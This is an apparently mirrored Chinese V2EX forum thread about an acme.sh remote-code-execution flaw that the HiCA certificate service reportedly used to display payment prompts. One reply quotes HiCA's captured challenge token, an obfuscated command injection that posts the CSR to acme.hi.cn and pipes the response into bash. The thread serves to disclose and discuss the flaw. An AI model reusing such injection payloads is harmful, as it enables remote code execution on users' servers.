7

acme.sh 存在 RCE 漏洞,已经被国产 HiCA 利用

 1 year ago
source link: https://www.v2ex.com/t/947389
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

acme.sh 存在 RCE 漏洞,已经被国产 HiCA 利用

29 条回复    2023-06-10 06:09:22 +08:00
InDom

InDom      12 小时 44 分钟前

什么?我又被白嫖了?
v2yllhwa

v2yllhwa      12 小时 43 分钟前 via Android

我还用过这家。。。记得宣称的就是只准使用 acme.sh ,不能用 gui 等方式签发。
codehz

codehz      12 小时 29 分钟前   ❤️ 1

专利的内容是显示付款信息,不是 rce
NanoApe

NanoApe      12 小时 5 分钟前

看了眼,并不是恶性利用,只是为了显示付款信息和收款二维码之类的
baobao1270

baobao1270      11 小时 50 分钟前

@v2yllhwa 因为只有 acme.sh 支持这么搞。标准的 acme 协议不支持这种。

@codehz 是的,「显示付款信息」是动机,「利用 RCE 」是为了完成动机所做的行为。

@NanoApe 我觉得还是应该警惕,今天可以显示付款信息、二维码,以后就有能力做「匿名数据收集」,再往后如果哪天「 CA 受到外部压力,奉命收集用户私钥,搞双证书体系」也是有可能的。
azuis

azuis      11 小时 46 分钟前

@codehz 但是问题是如果 rce 修掉之后就无法显示付款信息了。 实际上这个专利的实现依赖于 rce 。
azuis

azuis      11 小时 41 分钟前   ❤️ 1

其实专利上面有说这个 rce


"[0014] ACME 标准请求和响应格式:根据 RFC8555 之定义,ACME 的请求与响应格式均为
application/jose+json 格式,其作为 json 结构的进一步约束版本,所有的响应与请求参数
都有严格的类型要求,ACME 服务器扩展的任何非 RFC8555 标准字段,均无法被客户端所理
解,不论是展示或者去请求所返回的字段。
[0015] 但是一部分 ACME 客户端,在处理异常之时,会将消息字段或者完整的响应 body 进
行原始输出。这样就给了操作空间来扩展交互界面,例如想展示非 application/jose+json
数据给客户端,甚至数据经过特殊 unicode 处理(用 unicode 字符拼出一张二维码),在客户
端实现二维码的展示也是可行的。"

是一部分客户端异常处理输出的时候的问题。
Yadomin

Yadomin      11 小时 31 分钟前   ❤️ 14

拿着这么大的洞居然只用来显示二维码,太感人了
pVZKNbf.png
leonshaw

leonshaw      11 小时 5 分钟前 via Android   ❤️ 1

@Yadomin 玩脱了 CA 会被吊销吧
james122333

james122333      10 小时 57 分钟前 via Android   ❤️ 1

这个烂脚本近八千行还 gpl 3.0 协议...
patrickyoung

patrickyoung      10 小时 49 分钟前 via iPhone

有没有人可以给一下这家公司的 CA 序列号或者信任链,我在本地吊销一下以保证我的安全
buxiaozisun

buxiaozisun      10 小时 32 分钟前 via Android

@patrickyoung 根证书 USERTrust 中间证书 Sectigo
qwerzl

qwerzl      10 小时 25 分钟前

他们的出发点是好的... 但是就是不知道这个世界的“规则”到底是什么。为什么就不提个 pr 呢...
LeviMarvin

LeviMarvin      10 小时 17 分钟前

同求该公司 CA 的证书信息,我需要本地吊销
baobao1270

baobao1270      9 小时 59 分钟前   ❤️ 1

@Yadomin 毕竟他们是 CA 公司,不会用来做真正的攻击行为。

@patrickyoung
@LeviMarvin
他们是 Sectigo 分销,好像没有自己的中间证书。市面上很多家 CA 都是 Sectigo 的,你吊销了 Sectigo 证书那会误伤很多网站
louisxxx

louisxxx      9 小时 47 分钟前

@Yadomin 主要是用的人信任你才会用你的接口
makelove

makelove      9 小时 34 分钟前   ❤️ 2

acme.sh 为什么这么大的程序要用 shell 脚本来写?感觉用 sh 处理各类外来数据本身就很难搞可靠
Trim21

Trim21      9 小时 27 分钟前

太搞了,换 certbot 了
1423

1423      9 小时 23 分钟前

草台班子论再次生效
LeviMarvin

LeviMarvin      9 小时 17 分钟前

HiCA 自称不是 CA ,但其在国内注册的公司经营 CA 相关的服务(例如 PKI ),而且其作为分销商如何做到提供中国大陆内的 OCSP 服务,这应当由 CA 进行。简单来说,他们( HiCA )没有就利用漏洞进行商业一事做出声明,而且还自曝以防止 DDoS 攻击为借口将流量导向 WH 。
LeviMarvin

LeviMarvin      9 小时 12 分钟前

@patrickyoung 坏消息,只是一个无耻的中间商
xiangyuecn

xiangyuecn      8 小时 52 分钟前

我说呢,去年就发现了,这家的 ACME 接口返回的内容是命令行脚本,没法正常通过 ACME 客户端去申请证书,如果要干坏事是迟早的事

------------------

快速在线验证: https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html

打开《 HTML5 网页版 ACME 客户端后》,手动填写 ACME 地址: https://acme.hi.cn/directory ,然后随便填个域名和邮箱,点击创建两个密钥,然后就能看到 HiCA 返回的命令行文本了

刚才测试了一下,acme.hi.cn 域名解析都没了,秒关了吗 还是我的网有问题😅
xiangyuecn

xiangyuecn      8 小时 31 分钟前

我网的问题,刚又打开了他们的网站。。哈

接上面,填写了他们的 ACME 地址后,会提示跨域了,直接打开他们的 acme 服务地址打开控制台,然后执行一下页面代码,就能开始申请证书了,验证域名所有权的时候,切换到“文件 URL 验证”,就能看到:


http://asdfas123.com/.well-known/acme-challenge/dd#acme.hi.cn/acme/v2/precheck-http/109651/179551#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/109651/179551?o=$_w|bash)#
james122333

james122333      8 小时 12 分钟前 via Android

@makelove

shell 可以写 只是写很烂还要相容 posix sh 比较高级的特性都没有
james122333

james122333      8 小时 7 分钟前 via Android

是指这个脚本写很烂
wellerman

wellerman      5 小时 37 分钟前

这脑子好使,一看平时干过不少好事。
jim9606

jim9606      1 小时 5 分钟前

所以我觉得还是别用 shell 写太复杂的东西,值检查难写、eval 满天飞,搞出远程代码执行太正常了,哪怕用 python 都好些,至少不会依赖 eval 实现参数注入。

@james122333 烂不烂跟用不用 GPL 有啥关系?
james122333

james122333      15 分钟前 via Android

@jim9606

shell 我都不写 eval XD
烂是程序烂 一堆无用的代码 写的也很不简洁
是指写的烂又 GPL 不是烂与 GPL 有关
本来想改 看到协议算了 我还是自己搞一个

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK